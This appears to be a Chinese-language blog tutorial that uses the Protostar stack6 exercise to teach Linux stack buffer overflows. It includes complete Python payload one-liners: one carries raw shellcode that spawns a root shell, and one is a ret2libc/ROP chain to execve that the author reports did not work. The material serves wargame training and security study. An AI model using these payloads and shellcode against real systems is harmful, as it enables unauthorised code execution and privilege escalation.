Linux使用ROP進行棧溢出攻擊
通過Protostar stack6演示Linux下ROP的簡單使用，ROP就是所謂的Return Orientated Programming，早期也叫ret2libc。
一、__builtin_return_address函數
先介紹下__builtin_return_address這個函數，這個函數接收一個參數，可以是0,1,2等。__builtin_return_address(0)返回當前函數的返回地址，如果參數增大1，那么就往上走一層獲取返回地址。Windows下好像也有個類似的函數，不過具體叫什么忘記了。看一個例子就知道這個函數的用處了：
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- void foo()
- {
- printf("in foo()\n");
- printf("Foo: __builtin_return_address(0) = 0x%08X\n",
- __builtin_return_address(0));
- printf("Foo: __builtin_return_address(1) = 0x%08X\n",
- __builtin_return_address(1));
- bar();
- }
- void bar()
- {
- printf("in bar()\n");
- printf("Bar: __builtin_return_address(0) = 0x%08X\n",
- __builtin_return_address(0));
- printf("Bar: __builtin_return_address(1) = 0x%08X\n",
- __builtin_return_address(1));
- }
- int main(int argc, char **argv)
- {
- foo();
- return 0;
- }
編譯之后用gdb調試，情況如下：
foo中調用__builtin_return_address(1)得到的結果就是main函數執行完之后的返回地址。#p#
二、直接在棧上執行Shellcode
題目的源代碼如下：
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- void getpath()
- {
- char buffer[64];
- unsigned int ret;
- printf("input path please: "); fflush(stdout);
- gets(buffer);
- ret = __builtin_return_address(0);
- if((ret & 0xbf000000) == 0xbf000000) {
- printf("bzzzt (%p)\n", ret);
- _exit(1);
- }
- printf("got path %s\n", buffer);
- }
- int main(int argc, char **argv)
- {
- getpath();
- }
可以看出buffer是可以溢出的，但是后面對返回地址有一個校驗，即最高位不能是0xBF，而棧的地址的最高位就是0xBF，所以不能直接跳轉到棧上面去執行Shellcode，但是我們可以通過.text中的一條ret指令作為跳轉。首先需要測試返回地址的覆蓋字段位于輸入數據中的位置：
- python -c "print 'A'*80+'B'*4" > data.txt
- gdb stack6
- disas getpath
- b *0x080484b8 #在這里返回地址放到了eax中
- r < data.txt
- info registers eax
看到eax剛好為0×42424242，也就是返回地址被覆蓋成了0×42424242。現在需要一條ret指令，可以直接取main函數的最后一條指令，通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508，那么從getpath返回后就跑去0×08048508這個地址去執行了，而這里又是一條返回地址，那么我們可以在棧上放一個指向Shellcode的地址。
現在需要知道buffer的地址，在gets調用處下斷點：
- disas getpath
- b *0x080484aa #這里調用gets
- info registers eax
得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了，我們就可以知道Shellcode的位置了：
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。
下面是數據的布局：
用Python生成這段數據，并當做stack6程序的輸入數據：
python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x24\xFD\xFF\xBF' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31 \xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > data.txt
gdb stack6
r < data.txt
whoami
root
#p#
三、使用ROP技術
其實上面跳轉到main函數的最后一條ret指令的方法就是使用了ROP的思想了，不過現在假設棧沒有可執行屬性，那么上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執行shell。為此，需要先找到execve的地址，gdb下輸入如下命令：
- print execve #為0xb7f2e170
- print exit #為0xb7ec60c0
通過x /1000s $esp查找/bin/sh字符串，在0xbffffefb發現字符串”SHELL=/bin/bash”，我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字符串，不過需要控制字符串結束符，gets又不能讀(讀入的是0x0D，不是0×00)，額外處理為很麻煩。上面的查找方法是查找進程中的環境變量字符串實現的。同時我們也能找到指向0×00000000的指針，如0xBFFFFD6A，往execve的第二個第三個參數傳入這樣的指針也是可以的。
現在我們的數據布局如下：
execve調用之后是不會返回的，所以填充的那個exit的地址也可以是其他的不帶NULL的數據，按我所想象的，這樣之后就可以了。
- python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x70\xE1\xF2\xB7' +
- '\xC0\x60\xEC\xB7' + '\x01\xFF\xFF\xBF' + '\x6A\xFD\xFF\xBF' +
- '\x6A\xFD\xFF\xBF'" > data.txt
- gdb stack6
- r < data.txt
不過這里在gdb中看到，/bin/bash執行后立刻就退出了，這個估計是使用execve的方式不對，ROP思路本身是沒有問題的，下次分析下第一種方法中的Shellcode，就知道怎么用了。
四、 gdb調試學習
反匯編指定區域的數據：disas /r 0x0804a000 0x0804b000
查看函數地址：print execve
修改內存數據：set *((char*)0x0804aabb=0×00 選擇對應的type即可
將文件數據作為輸入：run < 文件路徑
將shell命令輸出作為命令行參數：run $(python -c "print 'A'*100")
